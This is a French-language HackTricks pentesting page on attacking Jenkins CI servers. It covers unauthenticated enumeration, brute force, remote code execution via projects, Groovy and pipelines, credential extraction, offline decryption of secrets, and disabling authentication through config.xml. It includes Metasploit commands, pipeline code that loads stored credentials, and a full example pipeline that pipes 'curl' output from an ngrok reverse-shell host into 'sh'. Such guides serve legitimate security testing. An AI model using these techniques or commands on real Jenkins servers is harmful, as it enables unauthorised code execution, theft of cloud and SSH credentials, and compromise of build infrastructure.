Sécurité de Jenkins
Reading time: 14 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Jenkins est un outil qui offre une méthode simple pour établir un environnement de continuous integration ou continuous delivery (CI/CD) pour presque n'importe quelle combinaison de langages de programmation et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le besoin de créer des scripts pour des étapes individuelles, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
Énumération non authentifiée
Afin de rechercher des pages Jenkins intéressantes sans authentification comme (/people ou /asynchPeople, cela liste les utilisateurs actuels) vous pouvez utiliser :
msf> use auxiliary/scanner/http/jenkins_enum
Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :
msf> use auxiliary/scanner/http/jenkins_command
Sans identifiants, vous pouvez regarder à l'intérieur du chemin /asynchPeople/ ou /securityRealm/user/admin/search/index?q= pour noms d'utilisateur.
Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin /oops ou /error.
Vulnérabilités Connues
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Connexion
Dans les informations de base, vous pouvez vérifier toutes les façons de se connecter à Jenkins :
Inscription
Vous pourrez trouver des instances de Jenkins qui vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.
Connexion SSO
De plus, si la fonctionnalité/plugins SSO étaient présents, vous devriez essayer de vous connecter à l'application en utilisant un compte test (c'est-à-dire, un compte Github/Bitbucket test). Astuce de ici.
Bruteforce
Jenkins manque de politique de mot de passe et de mitigation de bruteforce des noms d'utilisateur. Il est essentiel de bruteforcer les utilisateurs puisque des mots de passe faibles ou des noms d'utilisateur comme mots de passe peuvent être utilisés, même des noms d'utilisateur inversés comme mots de passe.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Utilisez ce script python ou ce script powershell.
Contournement de la liste blanche IP
De nombreuses organisations combinent des systèmes de gestion de code source (SCM) basés sur SaaS tels que GitHub ou GitLab avec une solution CI interne auto-hébergée comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des événements webhook des fournisseurs de contrôle de source SaaS, principalement pour déclencher des travaux de pipeline.
Pour ce faire, les organisations mettent sur liste blanche les plages IP des plateformes SCM, leur permettant d'accéder au système CI interne via des webhooks. Cependant, il est important de noter que quiconque peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.
Abus internes de Jenkins
Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.
warning
En fonction du mécanisme d'autorisation configuré dans Jenkins et des permissions de l'utilisateur compromis, vous pourriez être en mesure ou non de réaliser les attaques suivantes.
Pour plus d'informations, consultez les informations de base :
Liste des utilisateurs
Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à http://127.0.0.1:8080/asynchPeople/
Dumping des builds pour trouver des secrets en clair
Utilisez ce script pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
Vol de Credentials SSH
Si l'utilisateur compromis a suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait voler ces credentials en créant/modifiant un nœud et en définissant un hôte qui enregistrera les credentials sans vérifier la clé de l'hôte :
Vous trouverez généralement les credentials ssh de Jenkins dans un fournisseur global (/credentials/
), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la section Extraction de secrets.
RCE dans Jenkins
Obtenir un shell sur le serveur Jenkins donne à l'attaquant l'opportunité de divulguer tous les secrets et variables d'environnement et d'exploiter d'autres machines situées sur le même réseau ou même de rassembler des credentials cloud.
Par défaut, Jenkins s'exécute en tant que SYSTEM. Donc, le compromettre donnera à l'attaquant des privilèges SYSTEM.
RCE Création/Modification d'un projet
Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :
Jenkins RCE Creating/Modifying Project
RCE Exécution de script Groovy
Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :
Jenkins RCE with Groovy Script
RCE Création/Modification de Pipeline
Vous pouvez également obtenir RCE en créant/modifiant un pipeline :
Jenkins RCE Creating/Modifying Pipeline
Exploitation de Pipeline
Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
Pipelines de Construction
Les pipelines peuvent également être utilisés comme mécanisme de construction dans les projets, dans ce cas, un fichier à l'intérieur du dépôt peut être configuré pour contenir la syntaxe du pipeline. Par défaut, /Jenkinsfile
est utilisé :
Il est également possible de stocker des fichiers de configuration de pipeline à d'autres endroits (dans d'autres dépôts par exemple) dans le but de séparer l'accès au dépôt et l'accès au pipeline.
Si un attaquant a un accès en écriture sur ce fichier, il pourra le modifier et potentiellement déclencher le pipeline sans même avoir accès à Jenkins.
Il est possible que l'attaquant doive contourner certaines protections de branche (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :
- Demande de tirage vers la branche principale (ou potentiellement vers d'autres branches)
- Pousser vers la branche principale (ou potentiellement vers d'autres branches)
- Mettre à jour la branche principale et attendre qu'elle soit exécutée d'une manière ou d'une autre
note
Si vous êtes un utilisateur externe, vous ne devriez pas vous attendre à créer une PR vers la branche principale du dépôt d'un autre utilisateur/organisation et déclencher le pipeline... mais si c'est mal configuré, vous pourriez complètement compromettre des entreprises juste en exploitant cela.
RCE de Pipeline
Dans la section RCE précédente, une technique a déjà été indiquée pour obtenir RCE en modifiant un pipeline.
Vérification des variables d'environnement
Il est possible de déclarer des variables d'environnement en texte clair pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement ne devraient pas contenir d'informations sensibles, mais un attaquant pourrait toujours vérifier toutes les configurations de pipeline/Jenkinsfiles :
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :
Les identifiants peuvent être scopés aux fournisseurs globaux (/credentials/
) ou à des projets spécifiques (/job/<project-name>/configure
). Par conséquent, pour exfiltrer tous les identifiants, vous devez compromettre au moins tous les projets qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
Il y a un autre problème, pour obtenir un secret à l'intérieur de l'env d'un pipeline, vous devez connaître le nom et le type du secret. Par exemple, si vous essayez de charger un secret usernamePassword
en tant que secret string
, vous obtiendrez cette erreur :
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Voici comment charger certains types de secrets courants :
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
À la fin de cette page, vous pouvez trouver tous les types de credentials : https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
warning
La meilleure façon de vider tous les secrets en une seule fois est de compromettre la machine Jenkins (en exécutant un reverse shell dans le nœud intégré, par exemple) et ensuite fuir les clés maîtresses et les secrets chiffrés et de les déchiffrer hors ligne.
Plus d'informations sur la façon de faire cela dans la section Nodes & Agents et dans la section Post Exploitation.
Déclencheurs
D'après la documentation : La directive triggers
définit les modes automatisés par lesquels le Pipeline doit être relancé. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, triggers
peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont cron
, pollSCM
et upstream
.
Exemple de Cron :
triggers { cron('H */4 * * 1-5') }
Vérifiez d'autres exemples dans la documentation.
Nœuds & Agents
Une instance Jenkins peut avoir différents agents fonctionnant sur différentes machines. Du point de vue d'un attaquant, l'accès à différentes machines signifie différentes potentielles informations d'identification cloud à voler ou différents accès réseau qui pourraient être abusés pour exploiter d'autres machines.
Pour plus d'informations, consultez les informations de base :
Vous pouvez énumérer les nœuds configurés dans /computer/
, vous trouverez généralement le **Nœud Intégré
** (qui est le nœud exécutant Jenkins) et potentiellement plus :
Il est particulièrement intéressant de compromettre le nœud intégré car il contient des informations sensibles sur Jenkins.
Pour indiquer que vous souhaitez exécuter le pipeline dans le nœud Jenkins intégré, vous pouvez spécifier dans le pipeline la configuration suivante :
pipeline {
agent {label 'built-in'}
Exemple complet
Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Lecture de fichiers arbitraires à RCE
Jenkins Arbitrary File Read to RCE via "Remember Me"
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Secrets Jenkins
Vous pouvez lister les secrets en accédant à /credentials/
si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier credentials.xml
, mais les fichiers de configuration de build peuvent également contenir plus de credentials.
Si vous pouvez voir la configuration de chaque projet, vous pouvez également y voir les noms des credentials (secrets) utilisés pour accéder au dépôt et d'autres credentials du projet.
Depuis Groovy
Jenkins Dumping Secrets from Groovy
Depuis le disque
Ces fichiers sont nécessaires pour décrypter les secrets Jenkins :
- secrets/master.key
- secrets/hudson.util.Secret
Ces secrets peuvent généralement être trouvés dans :
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Voici une regex pour les trouver :
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Décrypter les secrets Jenkins hors ligne
Si vous avez extrait les mots de passe nécessaires pour déchiffrer les secrets, utilisez ce script pour déchiffrer ces secrets.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Décrypter les secrets Jenkins depuis Groovy
println(hudson.util.Secret.decrypt("{...}"))
Créer un nouvel utilisateur administrateur
- Accédez au fichier Jenkins config.xml dans
/var/lib/jenkins/config.xml
ouC:\Program Files (x86)\Jenkis\
- Recherchez le mot
<useSecurity>true</useSecurity>
et changez le mottrue
enfalse
. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Redémarrez le serveur Jenkins :
service jenkins restart
- Maintenant, allez à nouveau sur le portail Jenkins et Jenkins ne demandera aucune information d'identification cette fois. Vous naviguez vers "Gérer Jenkins" pour définir à nouveau le mot de passe administrateur.
- Activez à nouveau la sécurité en changeant les paramètres en
<useSecurity>true</useSecurity>
et redémarrez à nouveau Jenkins.
Références
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.